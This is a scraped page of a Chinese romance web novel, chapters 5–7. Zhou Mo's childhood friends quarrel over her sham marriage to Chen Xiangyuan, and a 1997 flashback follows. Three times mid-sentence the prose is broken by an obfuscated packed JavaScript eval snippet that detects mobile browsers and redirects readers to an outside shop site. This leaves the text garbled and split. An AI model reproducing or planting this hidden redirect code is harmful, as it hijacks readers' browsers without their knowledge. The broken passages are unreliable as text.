岳朗笑得开心,他降下车窗,挽起的衣袖露出半截小臂,阳光洒在麦色肌肤上,风轻轻梳理着麦穗一样支棱的短发。 周墨不禁想到远洋轮上乘风破浪的海员。 十四岁的岳朗,当初偷偷独自一人去做海员时,是否也有这样恣意的模样? 应该是没有的吧,那时的他,只有狼狈,难堪,和对前路迷惘彷徨的绝望。 岳朗察觉到周墨在看他,侧过头。 “怎么了?” 周墨移开视线,“没什么。” “周墨,你知不知道,你很不擅长说谎。” “那可不一定,我现在是奸商。”周墨嘴硬,“不过你现在怎么没大没小,也不叫姐了,我的大名是你能叫的嘛?” 岳朗笑了笑,没再说话。 车子抵达目的地,周墨一副见鬼的表情。 “你这一路风风火火的,就是为了带我回我自己的家?” 岳朗停车熄火下车,给周墨开车门。 周墨抓着安全带不放,“喂,你该不会是要跟我回家吧?我可没同意啊。” “哎,你先跟我来。” 岳朗将周墨拉出来,进了单元门,按了电梯,却不是周墨家的楼层。 “我家住六层。”周墨提醒岳朗。 他按的是七层。 岳朗却只是笑,不吭声。 等电梯到七层,他带着周墨走到一扇门前,看位置,正好是周墨家楼上。 周墨这时已经隐约猜出来了,看着岳朗摸出钥匙开门。 “你在我家楼上,买了一套房?” “怎么,不愿和我做邻居吗?”岳朗示意周墨进去,在玄关鞋架拿出两双全新的拖鞋,给周墨的还是女士拖鞋。 周墨一看到这房子的装修就惊呆了。 这是她家楼上,格局自然也是和她家一模一样的,三室两厅双卫,客厅和两间卧室朝南,餐厅厨房和一间卧室朝北。 但岳朗把所有非承重墙都拆了,整个房子变得极为通透敞亮。客厅内悬挂着巨大的投影幕布,配的白色软皮沙发看起来极舒服,旁边还有小冰箱和零食柜,里面塞得满满当当。 周墨简直叹为观止,“岳总,您这是要对外营业吗?” 岳朗笑得眼睛特别亮,献宝一样,双手推着周墨肩膀往里走:“你再去这边看看。” 两间朝南的卧室打通为一体,被改造成游戏房,东边摆着电脑桌,周墨只是大概扫了眼,显示器主机都是最顶级的配置,她自己是绝对舍不得入手的。 墙上挂架摆放着PS4和各种游戏盘,还有周墨喜欢的游戏角色手办。 然而这一切在周墨看到另一样东西时,都显得不那么震撼了。 “不会吧,你是认真的么……” 房间靠西一侧,摆着台一比一还原游戏厅竞赛摩托的大型投币游戏机,旁边放着透明的亚克力盒子,里面装满了金灿灿的游戏币。 周墨吃惊到词穷,只能一遍遍感叹:“你可真行!你可真行!” 竞赛摩托是周墨初中时最喜欢玩的游戏,她玩这个极好,直到经常去的那家游戏厅倒闭,她都是这款游戏的纪录保持者。 “这真的能玩?” 周墨还是不可置信,这么多年的老物件了,看着像新的一样,不得不让人怀疑只是个花架子。 岳朗二话不说,直接一手一边,从背后握住周墨的腰,将人抱上了摩托车座。 “试试。”他捡了一把游戏币,一个个丢进去。 游戏机的屏幕亮起,原本固定的摩托也开始模仿引擎,发出轻微的震动。 周墨惊呼一声,马上进入状态,选择好车型和路线,全神贯注。 这款游戏是完全模仿真实赛车摩托的动力系统,摩托本身也会随着操作在基座上摆动,当年算是游戏厅里吃币最多的设备了,周墨零花钱有限,一个月才舍得玩几次,或许也正因此,练就了超一流的技术。 最初几轮的生疏尝试之后,周墨逐渐找回了感觉,玩得越来越入迷。 岳朗自始至终就在旁静静地看着她, 她笑,他也笑。 她懊恼,他还是笑。 黄昏的暖光透过百叶窗,被隔成长条状的光影,缓缓在两人身上流淌,仿佛倒退了时光。 岳朗似乎也入了迷,脸上笑意不知不觉淡了,落在周墨身上的目光变得专注。 周墨这一玩就是半个多小时,从摩托上下来以后,还有些意犹未尽,她拍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093677|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍车座问:“这宝贝你从哪儿弄来的?” 岳朗回了神,眼里某种隐秘的情愫也同时收了回去。 “一开始我是收了个旧的,但设备太破,就让人将东西拆了,原样定制零件,组了台新的。” “难怪,看着这么光鲜亮丽。这一□□下来很贵吧?”周墨看得眼馋。 “嗐,没几个钱。”岳朗也没细说,又指了指游戏房角落,“那边几台都是老东西,只是让人从里到外清理一遍,重新喷了漆。” 周墨顺着看过去。 那竟是两台街机,古早的操作按钮,显示屏上闪动着像素超低的拳皇界面。 她噗嗤乐出来,拍了拍岳朗的肩。 “你跟这儿寻找青春的回忆呢?” 岳朗似乎也有点不好意思,低头揉了揉额。 “大概岁数大了吧。”他自嘲。 “呸,我可比你大两岁呢,别骂人。”周墨翻白眼。 岳朗笑,“来两把?” “来!” 说起来,周墨打街机这事,还是被身边这些坏小子拐带的。 一开始还总被他们完虐,但她天生犟种,表面不在乎,背地里苦修各种人物的绝杀技能的按键技巧,最后把他们一个个按在地上摩擦,KO爆头。 两人玩了一会儿,又叫又笑,活脱脱两个傻子。 岳朗又引周墨去参观朝北的房间。 这时太阳已经落下,室内昏暗,所以一开始周墨站在房间门口,只以为这是间三面满墙书架的书房。 直到岳朗打开灯,周墨彻底愣住。 三面书架上,放的竟然都是漫画书。 全是周墨少女时代最爱的。 周墨第一眼瞄到的是正对着自己的全套《爱丽丝学园》,她随手拿了一本翻阅,仿佛回到学生时代,午休厚着脸皮躲到学校附近书店里蹭看的时光。 她翻了几页,然后转过头去看岳朗。 岳朗身高一米八五,站在她身边高出她一个头还多,单手手肘随意搭在书架层板上,遮下一小片阴影。 他注意着她每一丝细小的表情变化。 “怎么,书有问题?” 周墨摇头,“没问题,全彩精装正版,现在市面上已经绝迹了。” 岳朗笑道:“那我就放心了。” 周墨神色有些古怪。 岳朗也不回避她的目光,棱角分明的一张脸,竟展露出一种柔和的感觉。 “看我干什么?” 周墨收回视线,慢吞吞将书放回书架。 “你买这么多漫画做什么?你又不爱看。” “你爱看啊。”岳朗回答得理所当然,同时从口袋里拿出钥匙,塞进周墨手里。 “什么意思?”周墨不太想接。 “帮我看房子呗。”岳朗笑得颇不正经。 “我不要。”周墨将钥匙丢回去。 岳朗也不恼,钥匙在掌心颠来颠去的玩。 “我不经常在北京,这房子空着也是空着,还不如平时给你当个游戏房,回头我偶尔来,也能有个落脚的地方。你也知道,我家里也没什么人了,有了这房子,在北京也算有个家。” 他说得低声下气,温柔耐心,像在哄生气的情人,最后又卖了一波惨,显得可怜兮兮。 “行吧?行不行?” “哎呀好了好了,真麻烦。” 5. 005 岳朗这个房子简直应有尽有,甚至还配备了专门的调酒吧台。 周墨对着满柜子看不懂的各式洋酒,信誓旦旦地说:“知道么,我可是调酒小天才,要不要见识一下我的手段?” 岳朗转着开瓶器扬了一下眉:“我的荣幸。” 周墨撸起袖子,将一瓶瓶酒拿出来。 她身高有限,够高处的酒有些费力。岳朗就站在她身后,好大一只,她想要哪瓶就给她拿哪瓶。 周墨哪里懂调酒,瞎说着玩的。她看着那么多花花绿绿的不同品类的酒,这瓶放点,那瓶放点,一支小小的马提尼杯,里面恨不能加了十几种酒。 到最后,连她自己都心虚。 “那个,要不你还是别喝了吧。” 她见岳朗将酒杯拿起来,眼也不眨地就往嘴边送,心里越发没底。 “为什么?”岳朗端着酒杯垂眼看她。 “我怕你被毒死。”周墨去夺岳朗手里的酒杯。 岳朗躲,偏要尝一口。 周墨紧张地看着:“怎么样?” 岳朗惊讶地问:“你真的是……第一次调酒?” “对啊。” “那完了。” “怎么了?” “还真让我碰上调酒天才了。” “真的啊?”周墨嘴角不自觉扬起。 “真的,味道非常好,比我之前酒吧里喝的那种上千一杯的强多了。” “给我尝尝。”周墨被勾起了好奇,将酒杯从岳朗手中接过来,喝了一口。 呕—— 直接吐了。 岳朗哈哈大笑,看着周墨在那里团团转的找水喝,将早就准备好的矿泉水递过去。 周墨一口气喝了半瓶水,才将口腔里那股类似汽油和碘伏混合物的酒味冲淡。 “你太坏了。”周墨呛出眼泪,捶了岳朗一下。 岳朗无辜道:“你只是喝不惯,我真的觉得还好。” “行,那我天天给你调,你一滴都不要剩。” 身边突然安静,周墨觉得不对劲,转过头。 两人本是并排靠在吧台边,岳朗这时起身转到周墨面前,和她面对面。 他双手撑在周墨身体两侧的吧台上,手长脚长的,没有触碰到她的身体分毫,却将她整个人结结实实圈在独属于自己的领地里。 “你干什么?”周墨道。 极近的距离,温热的呼吸夹杂着淡淡的酒精气息。 这片刻的对峙里,充满了雄性的侵略。 “不是说,天天让我喝你调的酒,那怎么才能天天啊?” 岳朗不笑了,他神色忽然变得认真。 “不然你嫁给我吧?” “有病吧你,还真的酒精中毒了?”周墨伸手推了一把。 岳朗佯装被推得向后踉跄了一步,下巴微微仰着,看着周墨,又开始没正形地笑。 “我这不是给你预演一下,打打预防针。” “打什么预防针。”大抵是酒精上头,周墨的头有点晕,脸也热起来。 她又将已经拧紧了盖子的矿泉水瓶拿起来,想再重新将瓶盖拧开喝两口水,却失败了。 盖子有点紧。 “万一你遇上哪个渣男,随便用甜言蜜语骗一骗,就把你的心给骗走了。”岳朗很自然地将水瓶接过来,替周墨拧开。 “我谢谢你啊。”周墨接过水瓶,瞪了岳朗一眼。 “客气什么,应该的。” “时间也不早了吧,你今天晚上住在这里么?”周墨没在这房子里找到钟表。 据说一般只有娱乐场所不会设置时钟,目的是让人沉迷其中,忘了归期。 “你想我今晚留下么?” 岳朗的回答像极了勾搭小姑娘的浪荡纨绔。 周墨忍不了了,抬腿踹了一脚,”咱不能好好说话了是吧?” 岳朗举起双手,做投降状:“哎,小墨姐姐,别这么凶嘛。” 周墨白他一眼,“晚上想吃什么,姐姐请你。” 岳朗终于收起了混不吝的嘴脸,正色道:“不吃了,一会儿要赶飞机,出差去海南,有没有什么想带的?” 周墨知道,岳朗的意思是那边有免税店,问她有没有什么奢侈品或者化妆品要带。 但她不愿意他破费,故意说:“给我背俩椰子回来吧。” 岳朗一愣,笑出一口白牙:“行啊。” 周墨突然又后悔了。 她怕岳朗真给他背俩椰子回来。 “算了算了,你下次什么时候回来还没谱呢,我指不定那时候又不想要椰子了。” “行,那我今晚先给你背回来,完了我再回去。” 两人你一嘴我一嘴地瞎贫,换了鞋出门,进了电梯。 周墨想直接送岳朗下楼,却被他先一步按了六层。 “我先送你回家。” 周墨正想说不用,电梯已经到了六层。 她也就不再矫情,出了电梯,对岳朗道:“好了,那我就不送你去楼下了。” 两人站在楼道内,影子叠在一起。 岳朗不舍地看着她,张开双臂。 “抱一个嘛,又要好久不见。” 他像只和主人有分离焦虑症的大狗。 周墨无语,上前一步,抱了抱他。 “周墨。” 身后传来一道冷冰冰的声音。 周墨吓了一跳,一点点转过身,对上徐子衿那双没什么情绪的,黑漆漆的眼睛。 “哥……你怎么来了?” “子衿哥,好久不见。” 岳朗一只胳膊揽住周墨的脖子,好像俩人是熊大和熊二,好成了亲兄弟。 他看着徐子衿,在周墨看不到的角度,眼神里满是挑衅的味道。 徐子衿黑着脸,根本没有理会岳朗,只是盯着周墨,双手插在风衣口袋里,一步一步走过来。 他看上去像是刚从什么应酬场合过来,风衣里是完整的西装四件套,薄底的皮鞋每走一步都会发出声音。 空旷的楼梯间里,一下一下,像恐怖片。 周墨觉得,徐子衿一定是知道了什么。 “周墨,你的车,京牌到底是怎么弄的?” 终于,悬着的心还是死了。 周墨不敢看徐子衿的眼睛。 她和陈向远领证的事,要是捅到爸妈那里,非得打断她的腿。 “我,我先送岳朗去机场。” 周墨转身,推着岳朗就想跑。 徐子衿一把抓住她手腕,将人从岳朗怀里拖出来。 周墨的另一只手被岳朗同时抓住。 “徐子衿,没听小墨说么,她要送我去机场。” 岳朗不笑的时候,身上沾点戾气。那声言不由衷的“子衿哥”,也变成了点名道姓的直呼。 这才是他的本来面目。 “陈向朗,在这里瞎掺和别人家的事之前,先去问问你那王八蛋哥哥,干了什么好事。” “不好意思,陈向朗是谁,不认识。” 徐子衿直接从周墨外套兜里拿出了手机。 岳朗注意到,徐子衿是用自己的指纹,解锁了周墨的手机。 他的眼睫微垂下去,再抬眼时,盯着徐子衿的目光,阴沉沉的。 那是见识过黑暗的眼睛,身处光明的正常人被这样一双眼睛盯上,多少会觉得发怵。 可徐子衿也不是什么好东西。 他无动于衷,用周墨的手机拨了一个电话。 对面很快接通。 “喂,陈向远,你他妈的现在就滚回来,跟周墨把离婚手续办了。” 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093678|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨的一只手腕被松开了。 岳朗看着她,不可置信的表情。 “你……和陈向远结婚了?” 周墨顺势也甩开徐子衿的手,摩挲着自己泛红的两只手腕。 “假结婚而已,为了办京牌。” “周墨,你脑子让驴踢了么!” 徐子衿气得发抖,在周墨脑门上狠戳了一下。 “结婚还有真假么?手续办了,你就是已婚的状态,就算再办离婚手续,你户口本上婚姻状态也永远都是‘已离异’,再也回不到‘未婚’两个字了!你他妈的是不是疯了?” “那又怎么了?我又无所谓。”周墨被骂得心里来了火,也硬气起来。 “你就没想过以后你嫁人,出去相亲,介绍人都要说你是二婚。” “大不了我以后不结婚了行吧,烦死了。”周墨推开徐子衿,往家门走。 岳朗这时也拿出手机拨通电话。 “机票改一下,今晚不走了。” 周墨回头,见岳朗正在按电梯,连着按了很多下,按键按得啪啪响。 “你干什么去?不去海南出差了?” 周墨身边这几个,各有各的疯法,可是唯独岳朗,是唯一可能疯上刑法的,让她有点不放心。 “没事。” 岳朗表情平静得很,甚至在周墨问的时候,还能冲她笑一笑。 “我去找我哥。” 这就不可能没事了。 电梯门开了,周墨想追上去,却被徐子衿拉回来。 “让他去,陈向远跟你说他出国了吧?陈向朗一个小时内就能把他从国外拽回国内,你信不信?” 周墨纠正:“他现在叫岳朗,不叫陈向朗。” 电梯门关上,岳朗走了,周墨没能追上。 “你,跟我过来。”徐子衿将周墨拖进家门。 周墨原以为他会劈头盖脸臭骂她一顿,可真的两人独处一室了,徐子衿却安静下来。 他背靠着门,点燃一支烟。 周墨皱起眉,“你什么时候学会抽烟了?” “国外上学的时候。” “那怎么从来没见你抽过?” “你不喜欢。” 周墨噎了一下,最后干笑道:“万恶的资本主义社会,把一大好青年带坏了。” 徐子衿抽烟的样子很帅,这归功于他那只骨节分明的手。 周墨看得有些出神,心想,如果当初徐家没出事,徐子衿现在可能会是一个钢琴家。 可惜,世上没有如果。 徐子衿抽完了一支又一支,房间光线越来越暗。 满屋子的烟,呛得周墨咳嗽,要是放在平时早就发飙了。 可是她今天很怂,愣是没敢吭声。 见她咳嗽,徐子衿去了厨房,打开了排烟机。 他似乎不想跟她说话,周墨也乐得清净。 大概过了一个多小时,外面楼道重新响起了声音。 似乎有不少人,脚步声都很重,夹杂着几句骂骂咧咧。 房门被敲响,是岳朗。 周墨战战兢兢去开门,岳朗一脚将个人踹进来。 “我操!”陈向远跌跌撞撞,想努力找平衡站住,可惜这一脚力道太狠,他还是直接跪地上了。 周墨每次见到陈向远都得仔细辨认一下,因为几乎每次见他长得都不是一个模样。 今天陈大公子一头白色漂染,穿着粉色衬衫,墨绿格纹的休闲套装,耳钉项链戒指一样不落,花孔雀一样,像是刚从哪个夜店下班的模子哥。 只可惜貌美如花的模子哥今天破了相,嘴角破了,眼角挂彩,脸也肿了一边,像是刚刚夜店勾引富婆被捉奸老公撞见,挨了一顿揍。 噗嗤—— 周墨没忍住,让自己这个联想画面逗笑了。 6. 006 陈向远挨了亲弟弟的揍没破防,却被周墨这一声笑整破防了。 “我说周墨你有没有心,我都这样了,你居然还能笑出来?” 周墨凑上前,一副刚认出人的样子。 “哎呀,陈二狗,怎么是你!” 陈向远哎呦哎呦地叫唤,央着周墨:“赶紧给我找药膏涂一下,疼!” 周墨捏起他下巴,相马一样左右掰着看了看。 “啧,是得赶紧涂,再慢点伤口都要愈合了。” 陈向远哼哼:“这么对你老公是吧,毒妇!” 岳朗带来的人已经打发走了,他安静看着陈向远和周墨肆无忌惮地装乖卖傻,觉得两人之间的亲昵像是一道密不透风的墙,而他就是墙外的雨,只能顺着砖缝徒劳地渗。 那是极其熟稔亲密的关系才能滋养出来的默契。 是周墨和他在一起时所没有的。 周墨丢开陈向远,去卧室里拿医药箱。 陈大少丝毫不拿自己当外人,沙发上一瘫,从兜里掏出墨镜戴上。 这么一看,不像模子哥了,倒是有了几分明星气质。 “说吧,是你承认自己有重度精神病隐瞒病情,还是去跟警察自首,说你限制周墨人身自由胁迫结婚?” 岳朗拖过来一把椅子,五马长枪往陈向远对面一坐。 陈向远翘起的二郎腿一颠一颠,扯着嗓子冲卧室内喊:“喂,周墨,你养狗了么?这屋里怎么有狗叫声?” 岳朗又要扑过来打他,徐子衿刚好从厨房出来,将人按了回去。 “你们兄弟两个想打架,出去打。” 陈向远立刻反驳:“哎,徐子衿我跟你说啊,你别骂人,谁跟疯狗是兄弟。” “挨揍没够是吧?”岳朗瞪他。 “怕你啊?来啊!”陈向远不甘示弱。 兄弟两人剑拔弩张,周墨拎着医药箱出来,往茶几桌上重重一放。 “陈向远,不疼了是吧?” 陈向远像个惨遭渣男抛弃的小媳妇,“周墨,你可不能不分是非黑白啊,看看是谁在挑事!” 周墨懒得给人断案,拿出一管跌打损伤膏,坐到陈向远身边。 陈向远赶紧摘了墨镜,将脸凑过来。 像个恃宠而骄的妖妃。 徐子衿面无表情走到周墨面前,从风衣口袋里翻出一张名片。 “这个律师可以帮你向法院起诉撤销婚姻,刚刚陈向朗说的那两个理由都可以,你随便选一个。” “哎我说你们……”陈向远身为当事人,打算反抗一下为自己发声。 岳朗指着他警告:“给我闭嘴,捅出这么大的娄子,我要是你我就以死谢罪。” 陈向远懒洋洋操着一口京腔:“那可不成啊,我死了,周墨不就成寡妇了。” 这回不仅是岳朗想抽他,连徐子衿也想动手了。 周墨被他们吵得不耐烦,“行了,这事跟陈向远没关系,是我当初非得磨着他,一人做事一人当,你们俩冲他使什么劲儿呢。” “就是。”陈向远像找到靠山一样,躲在周墨身后,一脸小人得志。 岳朗眼神泛着冷意,“怎么就一人做事一人当了,你去登记的时候是绑着他了,还是拿狗链子拴着他了?” 陈向远阴阳怪气道:“要不怎么说是年纪轻轻就出来混的大哥呢,不是想着绑人,就是拿链子拴人,周墨,你敢把这种人放进家门,不怕被拐去缅北诈骗集团么?” 岳朗点头,“行啊,先给你卖了,腰子掏出来。不过你那腰子估计也不值钱,太虚。” 两人吵个不停,徐子衿好不容易找了个安静间隙,问周墨:“那你现在想怎么办?” 周墨说得云淡风轻:“就那么办呗,找个时间,去和陈向远把婚离了。” 徐子衿:“就顶着一个离异的名头?” 周墨:“这有什么,我认识一个姐妹,前两年为了买房,办了三次离婚,赚发了。” 徐子衿被气笑,“按照你的意思,找人结一次婚还算少了是吧?” “哎呀好了好了。” 周墨不想惹徐子衿,适可而止。 她看了眼时间。 “今天民政局下班了,明天我就和陈向远把婚离了,这事就算翻篇。” “明天?明天可不能够!” 陈向远假装看不到周墨在拼命给他使眼色,双手交叠往脑后一枕,在沙发里躺成了一个老太爷。 “我这脸上挂了彩,可不去民政局丢人。回头人家问起来,还以为我是因为家暴离婚,传出去对周墨也不好。” 岳朗看周墨,“瞧,这玩意就是个无赖,狗皮膏药,贴身上就下不来了。” 徐子衿似乎是为了响应岳朗,又将律师的名片往前递了递。 “对付这种人,你这方法没用,还是物理消除比较好。”岳朗拿出手机拨了个电话:“喂,上来两个人,再准备个麻袋。” 周墨头疼,依稀间仿佛又回到学生时代。 这么多年过去了,几个疯子头一遭碰上。 好在今天四大天王三缺一,东南西北好歹给她留了个喘气的方向。 不敢想象要是林跃琮那老阴逼也在,她该怎么办。 要不怎么说,没事不要让脑子乱生念头,所谓宇宙吸引法则,恐怖故事想多了,就容易变成现实。 有人敲门,陈向远瞥了岳朗一眼,显出紧张。 他似乎担心自己真的会被这同母异父弟弟套麻袋灭口。 徐子衿去开门,原本沉着的一张脸在见到来人时,瞬间变得人畜无害。 “妈?” 这一声把周墨吓了个机灵,三步并作两步冲到玄关,正看见她的亲妈,徐子衿的养母——最伟大的朱美丽女士,晃着自己胖胖的身子进门。 “呀,子衿也在啊。” 朱美丽女士其实长得很名副其实,皮肤白眼睛大,烫着小卷发,穿了一身美拉德色系的休闲套装,配一顶咖色贝雷帽,除了有点发福像个白面馒头,真是挑不出一点毛病。 周墨说,要是把朱美丽送回唐朝,高低得在宫里封个贵妃。 朱美丽说,自己年轻的时候身材特带劲,像舞蹈演员,如果当初不是为了生她,现在去开抖音号还能吸引榜一大哥。 不过很快,周墨就发现了猫腻。 朱美丽不远千里从老家来看望自己亲闺女,居然两手空空。 这风格很不朱美丽。 以前哪回来她不是大包小包,恨不能将家都搬来? 果然,周墨看到了端倪所在。 紧跟着朱美丽身后进门的,还有一个人。 而本应该在朱美丽手里的一个拉杆箱外加两个大包袱,都是由这个“跟班”倒腾进来的。 “林跃琮?!”周墨眼前发黑,想要掐自己人中。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093679|195558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这一嗓子把朱美丽吓着了,瞪她一眼。 “乱叫唤什么呢!咋的,不认识小林啊!” “你,你怎么把他带过来了!” 周墨这话是对亲妈说的,目光却不受控制,对上林跃琮那双含笑的眼睛。 “我送朋友去火车站,正巧碰上丽姨,看她拿的东西太多了,就送她一趟。”林跃琮温声,解释得滴水不漏。 这话换做别人说,周墨可能会信,可对方是林跃琮,在他这里,周墨从来不信什么无巧不成书。 对比周墨抗拒的态度,朱美丽再次见到林跃琮,却是十分开心的。 “小林啊,要是没事就别急着走,姨给你做饭吃,好久没吃过我做的饭了吧?” “那敢情好了,自从上回去滨城出差,去您家里蹭过一次饭,这又得有两年多了。我现在做梦还经常梦见小时候,我们放学后去您家里吃饭。” 这番话将朱美丽哄得喜笑颜开,换了拖鞋抬头,见玄关口又多了两道黑影,并排立着,像堵墙。 “咦,向远也在啊,这是……” 朱美丽的目光落在岳朗身上,笑容凝固住。 她牢牢盯了片刻,才红着眼圈,叫出了那惦念多年的名字。 “你是……向朗……” 这曾经的名字,是岳朗的逆鳞。 可此时由朱美丽叫出口,他却只是哽咽地点头,“丽姨,是我。” “哎,长这么大了,这么高了……真好,真好。” 时隔八年,这是朱美丽自那个雨夜,少年决绝离开后,第一次与他重逢。 她拉住岳朗的手,一时间不知道该说什么好,只能一下一下拍着,嘴里念叨:“吃苦了,这些年在外面吃苦了。” 四个彼此看不对眼,关在一起能引发世界大战的男人,管他是新贵还是二代,此时在朱美丽面前,仿佛全都变成了模范生,一个个安静乖巧,让稍息不敢立正,让立正不敢稍息。 “哎,你们看我这好好的,乱淌什么猫尿呢。”朱美丽女士抹了把脸,蹭干眼泪。 屋里一共五只崽,一个亲生的,另外四个也都是吃她做的饭长大的,朱美丽使唤起来毫无心理压力,就连被她亲自盖章吃了不少苦的可怜孩子,也没能得到半点优待,被安排跟她一起去菜市场买菜。 “妈,你要买什么,我可以直接在生鲜app上下单,送货上门。” 见朱美丽轻车熟路抖开两个布袋子,准备拉岳朗出门,周墨提醒。 朱美丽嫌弃:“你那看不见摸不着的,买回来的都是老菜根子。” 房门砰的一声响,最老的和最小的都走了。 陈向远本来是想和朱美丽一起去买菜的,可惜争宠失败,他甚至还无耻地欺骗朱美丽,说脸上的伤是见义勇为被小混混打的。 徐子衿好不容易将朱美丽从滨城带来的特产全都塞进冰箱,回到客厅,刚好撞见将行李箱拖进次卧以后出来的林跃琮。 房间里一下安静了下来。 周墨抱着双臂打量林跃琮,“林跃琮,你搞什么名堂。” 林跃琮慢条斯理将刚才做苦力时挽起的衬衫袖子放下,说:“我说的都是实话,在火车站碰到了丽姨,看她行李多,又不舍得打车,就送她回来。还是说……” 男人抬眼看周墨,完全将另外两个人当空气,唇角微扬,“你更希望我是专程设计,就为了摸来你的兔子窝?” 7. 007 “姓林的,我这正经老公还没死呢,你就当着我的面勾引我媳妇儿?” 陈向远被林跃琮的一身骚气熏着了,跳出来表明正宫地位。 林跃琮像是才发现屋里还有他这个活物,淡淡瞥了眼。 “我愿意为爱当三,你倒是愿意跟她离婚么?” 徐子衿拿了一把扫帚,扫到两人跟前时,恨不能将他们一起当垃圾扫出门。 “抱歉,我们家家风清正,你们这样的女婿可不敢招。” 陈向远躲开横扫过来的扫帚,立刻调转矛头:“我说姓徐的,你别拿着鸡毛当令箭,想当我大舅子,有本事你先把姓改了啊。” 周墨实在忍不了,竖起一根指头,先看向林跃琮,“第一,我不是兔子,这里是我家,不是什么兔子窝。” 接着竖起第二根指头,对陈向远说:“第二,我不是你媳妇,咱们之前签了合同的,你明天跟我去民政局把离婚证领了。” 最后看向徐子衿:“第三,我暂时没有结婚打算,所以我们家也不会有什么女婿。” 三个男人谁都没落得什么好处,却都在为其他人被周墨怼了而暗爽。 周墨抱臂立在三足鼎立当中,手指心烦意乱地一下下敲着胳膊。 “总之,假结婚这事儿不能让朱美丽女士知道,不然明年的今日,你们就得去我坟头除草了。” 六道目光齐刷刷落在周墨身上,却无人回应。 周墨有点慌。 她想起了小时候自己闯祸,被四个混蛋轮番向朱美丽告状的悲惨境地。 “喂,听见了没啊?”她瞪向三人,却有些外强中干,“不许,告诉,朱美丽!” 噗嗤,先是陈向远笑出声,紧接着是徐子衿和林跃琮,也都看着她笑起来。 周墨莫名其妙,“你们有病吧?笑屁啊!” 三人这会儿倒是都很有默契了,扫地的扫地,涂药的涂药,另一个没什么可忙的,忽然对沙发上摆的毛绒熊产生了浓厚兴趣。 “喂,你们什么意思?怎么都不说话?” 周墨心里越来越没底了,脑子里几乎已经有了朱美丽暴跳起来用擀面杖揍她的画面。 她追着几个人,“你们肚子里又憋什么坏主意呢?不会真的跟我妈告状吧?不能这么不够义气啊……” “周墨。” 林跃琮忽然开口,白皙修长的手指有一下没一下地捏着熊耳朵。 周墨回头看他,“干嘛?” 林跃琮:“别再说话了。” 周墨疑惑:“为什么?” 林跃琮:“太可爱了,我会忍不住想亲你。” 周墨:“…………………………” 周墨还没有从雷击中恢复,就被徐子衿挡在了身后。 “客厅里有脏东西,你先回屋待着。” 周墨觉得这是个好主意。 她回屋,反锁门,在床上躺平。 竖起耳朵听了半天,外面很安静,倒是没有什么冲突的迹象。 周墨长舒一口气,翻了个身将脸埋进床。 憋闷的黑暗让大脑一时陷入宕机状态,思想放空后,属于过去的画面便涌现出来。 其实原本周墨是不可能和这几个家伙有任何交集的。 平行线发生扭曲的节点,是在她六岁那年。 …… 1997年的夏天,是属于千纸鹤的,也是属于离别的。 周墨幼儿园就要毕业了。 上学的最后一天,她坐在爸爸自行车后座的兜椅里,黑亮的大眼睛泪汪汪的,充满了委屈。 “爸爸,以后我都不能去幼儿园了么?” “对啊,小墨以后就是大孩子了,要上小学啦!” 路过幼儿园门口的小卖部时,周海山照旧停下车,一脚点地,一脚踩着脚蹬。 周墨整个小人儿也随着自行车倾斜向一边,挂在长长睫毛上的泪珠子顺着歪倒的一方,啪嗒落下来。 最近一个月,为了庆祝即将到来的香港回归日,幼儿园组织小朋友们叠千纸鹤,所以周海山每天早上都会在小卖部给周墨买一包叠纸鹤用的小花纸。 放在往常,周海山的自行车在小卖部的窗口一停,周墨就要伸长了脖子去挑花纸了,还要一边挑一边像个雀儿一样叽叽喳喳,给周海山讲述她选花样的心路历程。 今天等了半天,身后都很安静,周海山回头,才发现闷闷不乐的小姑娘。 “呦,我闺女这是怎么了?怎么还哭了?” 周墨撅起嘴巴,小声啜泣,“我以后都不能来幼儿园了,见不到我的朋友了……” 周海山看得有趣,捏了捏女儿软软的小脸蛋,“没关系的,以后还会有新的朋友嘛!” 都说女人心海底针,直男一根筋的海山同志,不仅搞不定自己媳妇,更搞不定自己闺女。 这句话非但没起到安慰作用,反而让周墨哇的一声哭开了。 “呜呜呜我不要新朋友!!!我不喜欢新朋友!!” 在那个阳光明媚的清晨,响亮的哭声仿佛是谶语,冥冥之中,左右着未知的命运。 周墨终究是花了很长很长很长时间,才勉强接受了新朋友。 为了镇压周墨汹涌勃发的眼泪,周海山大手一挥,决定今天破例给她买两包花纸。 可惜周海山身上的零钱不够,小卖部的老板又找不开零。 周海山瞥了眼小卖部里的体彩广告,对老板说:“那就随便给我打一张彩票吧。” 或许是因为心情不佳,在幼儿园的最后一天,周墨病了,高烧不退。 幼儿园的老师给家长打电话,周海山中午火急火燎请假赶来。 